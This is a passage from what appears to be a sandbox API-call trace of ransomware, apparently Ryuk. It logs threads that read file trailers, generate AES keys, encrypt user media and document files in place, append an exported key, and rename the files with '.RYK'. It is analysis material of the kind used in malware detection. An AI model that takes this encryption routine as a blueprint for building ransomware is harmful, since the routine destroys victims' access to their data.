	[0275.627] WriteFile (in: hFile=0x86c, lpBuffer=0x4280000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0xa8bf5e4, lpOverlapped=0x0 | out: lpBuffer=0x4280000*, lpNumberOfBytesWritten=0xa8bf5e4*=0x4010, lpOverlapped=0x0) returned 1
	[0275.628] WriteFile (in: hFile=0x86c, lpBuffer=0xa8bf610*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa8bf5f0, lpOverlapped=0x0 | out: lpBuffer=0xa8bf610*, lpNumberOfBytesWritten=0xa8bf5f0*=0x6, lpOverlapped=0x0) returned 1
	[0275.628] CryptExportKey (in: hKey=0x39f440, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa8bf600 | out: pbData=0x0*, pdwDataLen=0xa8bf600*=0x10c) returned 1
	[0275.629] CryptExportKey (in: hKey=0x39f440, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa8bf670, pdwDataLen=0xa8bf600 | out: pbData=0xa8bf670*, pdwDataLen=0xa8bf600*=0x10c) returned 1
	[0275.629] WriteFile (in: hFile=0x86c, lpBuffer=0xa8bf670*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa8bf5f0, lpOverlapped=0x0 | out: lpBuffer=0xa8bf670*, lpNumberOfBytesWritten=0xa8bf5f0*=0x10c, lpOverlapped=0x0) returned 1
	[0275.629] CloseHandle (hObject=0x86c) returned 1
	[0275.661] CryptDestroyKey (hKey=0x39f440) returned 1
	[0275.661] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3793
	os_tid = 0x40cc

	[0275.625] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif", dwFileAttributes=0x80) returned 1
	[0276.012] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0276.012] GetFileSizeEx (in: hFile=0x870, lpFileSize=0xa7bfc38 | out: lpFileSize=0xa7bfc38*=47154) returned 1
	[0276.012] GetFileSizeEx (in: hFile=0x870, lpFileSize=0xa7bfc48 | out: lpFileSize=0xa7bfc48*=47154) returned 1
	[0276.013] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0xb710, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.013] ReadFile (in: hFile=0x870, lpBuffer=0xa7bfc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa7bfc00, lpOverlapped=0x0 | out: lpBuffer=0xa7bfc90*, lpNumberOfBytesRead=0xa7bfc00*=0x19, lpOverlapped=0x0) returned 1
	[0276.014] CloseHandle (hObject=0x870) returned 1
	[0276.014] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif.ryk"), dwFlags=0x8) returned 1
	[0277.258] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3794
	os_tid = 0x40d0

	[0275.627] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4", dwFileAttributes=0x80) returned 1
	[0276.311] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0276.312] GetFileSizeEx (in: hFile=0x820, lpFileSize=0xa9cf8f8 | out: lpFileSize=0xa9cf8f8*=11030) returned 1
	[0276.312] GetFileSizeEx (in: hFile=0x820, lpFileSize=0xa9cf908 | out: lpFileSize=0xa9cf908*=11030) returned 1
	[0276.312] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x29f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.312] ReadFile (in: hFile=0x820, lpBuffer=0xa9cf950, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa9cf8c0, lpOverlapped=0x0 | out: lpBuffer=0xa9cf950*, lpNumberOfBytesRead=0xa9cf8c0*=0x19, lpOverlapped=0x0) returned 1
	[0276.314] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.314] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa9cf8d8 | out: phKey=0xa9cf8d8*=0x3f8180) returned 1
	[0276.314] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.314] ReadFile (in: hFile=0x820, lpBuffer=0x4480000, nNumberOfBytesToRead=0x2b16, lpNumberOfBytesRead=0xa9cf8e4, lpOverlapped=0x0 | out: lpBuffer=0x4480000*, lpNumberOfBytesRead=0xa9cf8e4*=0x2b16, lpOverlapped=0x0) returned 1
	[0276.314] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa9cf8e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa9cf8e0*=0xf4250) returned 1
	[0276.314] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4480000*, pdwDataLen=0xa9cf8e8*=0x2b16, dwBufLen=0xf4250 | out: pbData=0x4480000*, pdwDataLen=0xa9cf8e8*=0x2b20) returned 1
	[0276.315] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.315] WriteFile (in: hFile=0x820, lpBuffer=0x4480000*, nNumberOfBytesToWrite=0x2b20, lpNumberOfBytesWritten=0xa9cf8e4, lpOverlapped=0x0 | out: lpBuffer=0x4480000*, lpNumberOfBytesWritten=0xa9cf8e4*=0x2b20, lpOverlapped=0x0) returned 1
	[0276.315] WriteFile (in: hFile=0x820, lpBuffer=0xa9cf910*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa9cf8f0, lpOverlapped=0x0 | out: lpBuffer=0xa9cf910*, lpNumberOfBytesWritten=0xa9cf8f0*=0x6, lpOverlapped=0x0) returned 1
	[0276.315] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa9cf900 | out: pbData=0x0*, pdwDataLen=0xa9cf900*=0x10c) returned 1
	[0276.315] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa9cf970, pdwDataLen=0xa9cf900 | out: pbData=0xa9cf970*, pdwDataLen=0xa9cf900*=0x10c) returned 1
	[0276.315] WriteFile (in: hFile=0x820, lpBuffer=0xa9cf970*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa9cf8f0, lpOverlapped=0x0 | out: lpBuffer=0xa9cf970*, lpNumberOfBytesWritten=0xa9cf8f0*=0x10c, lpOverlapped=0x0) returned 1
	[0276.315] CloseHandle (hObject=0x820) returned 1
	[0276.608] CryptDestroyKey (hKey=0x3f8180) returned 1
	[0276.608] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3795
	os_tid = 0x40d4

	[0275.946] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0276.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0276.872] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xaadfb98 | out: lpFileSize=0xaadfb98*=97794) returned 1
	[0276.872] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xaadfba8 | out: lpFileSize=0xaadfba8*=97794) returned 1
	[0276.872] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x17ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.872] ReadFile (in: hFile=0x86c, lpBuffer=0xaadfbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xaadfb60, lpOverlapped=0x0 | out: lpBuffer=0xaadfbf0*, lpNumberOfBytesRead=0xaadfb60*=0x19, lpOverlapped=0x0) returned 1
	[0276.874] CloseHandle (hObject=0x86c) returned 1

Thread:
	id = 3796
	os_tid = 0x40d8

	[0275.946] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0276.570] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868
	[0276.570] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x8dff6b8 | out: lpFileSize=0x8dff6b8*=3106) returned 1
	[0276.570] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x8dff6c8 | out: lpFileSize=0x8dff6c8*=3106) returned 1
	[0276.570] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0xb00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.570] ReadFile (in: hFile=0x868, lpBuffer=0x8dff710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dff680, lpOverlapped=0x0 | out: lpBuffer=0x8dff710*, lpNumberOfBytesRead=0x8dff680*=0x19, lpOverlapped=0x0) returned 1
	[0276.572] CloseHandle (hObject=0x868) returned 1

Thread:
	id = 3797
	os_tid = 0x40dc

	[0275.947] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv.RYK", dwFileAttributes=0x80) returned 1
	[0276.573] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0276.573] GetFileSizeEx (in: hFile=0x854, lpFileSize=0xacffb18 | out: lpFileSize=0xacffb18*=22914) returned 1
	[0276.574] GetFileSizeEx (in: hFile=0x854, lpFileSize=0xacffb28 | out: lpFileSize=0xacffb28*=22914) returned 1
	[0276.574] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x5860, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.574] ReadFile (in: hFile=0x854, lpBuffer=0xacffb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xacffae0, lpOverlapped=0x0 | out: lpBuffer=0xacffb70*, lpNumberOfBytesRead=0xacffae0*=0x19, lpOverlapped=0x0) returned 1
	[0276.575] CloseHandle (hObject=0x854) returned 1

Thread:
	id = 3799
	os_tid = 0x40e8

	[0276.559] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav", dwFileAttributes=0x80) returned 1
	[0276.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0276.869] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x935fa38 | out: lpFileSize=0x935fa38*=89490) returned 1
	[0276.869] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x935fa48 | out: lpFileSize=0x935fa48*=89490) returned 1
	[0276.869] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0x15c70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.869] ReadFile (in: hFile=0x874, lpBuffer=0x935fa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x935fa00, lpOverlapped=0x0 | out: lpBuffer=0x935fa90*, lpNumberOfBytesRead=0x935fa00*=0x19, lpOverlapped=0x0) returned 1
	[0276.871] CloseHandle (hObject=0x874) returned 1
	[0276.871] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav.ryk"), dwFlags=0x8) returned 1
	[0277.558] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3800
	os_tid = 0x40ec

	[0276.560] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt.RYK", dwFileAttributes=0x80) returned 1
	[0277.531] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0277.531] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x90af6d8 | out: lpFileSize=0x90af6d8*=28994) returned 1
	[0277.531] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x90af6e8 | out: lpFileSize=0x90af6e8*=28994) returned 1
	[0277.532] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x7020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.532] ReadFile (in: hFile=0x8b4, lpBuffer=0x90af730, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90af6a0, lpOverlapped=0x0 | out: lpBuffer=0x90af730*, lpNumberOfBytesRead=0x90af6a0*=0x19, lpOverlapped=0x0) returned 1
	[0277.533] CloseHandle (hObject=0x8b4) returned 1

Thread:
	id = 3801
	os_tid = 0x40f0

	[0276.560] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3", dwFileAttributes=0x80) returned 1
	[0276.865] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0276.865] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x98afa38 | out: lpFileSize=0x98afa38*=38786) returned 1
	[0276.865] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x98afa48 | out: lpFileSize=0x98afa48*=38786) returned 1
	[0276.865] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x9660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.865] ReadFile (in: hFile=0x6d4, lpBuffer=0x98afa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98afa00, lpOverlapped=0x0 | out: lpBuffer=0x98afa90*, lpNumberOfBytesRead=0x98afa00*=0x19, lpOverlapped=0x0) returned 1
	[0276.867] CloseHandle (hObject=0x6d4) returned 1
	[0276.867] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3.ryk"), dwFlags=0x8) returned 1
	[0277.550] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3802
	os_tid = 0x40f4

	[0276.561] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif.RYK", dwFileAttributes=0x80) returned 1
	[0277.534] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0277.535] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9b3f9d8 | out: lpFileSize=0x9b3f9d8*=44178) returned 1
	[0277.535] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x9b3f9e8 | out: lpFileSize=0x9b3f9e8*=44178) returned 1
	[0277.535] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0xab70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.535] ReadFile (in: hFile=0x8b4, lpBuffer=0x9b3fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x9b3fa30*, lpNumberOfBytesRead=0x9b3f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0277.537] CloseHandle (hObject=0x8b4) returned 1

Thread:
	id = 3803
	os_tid = 0x40f8

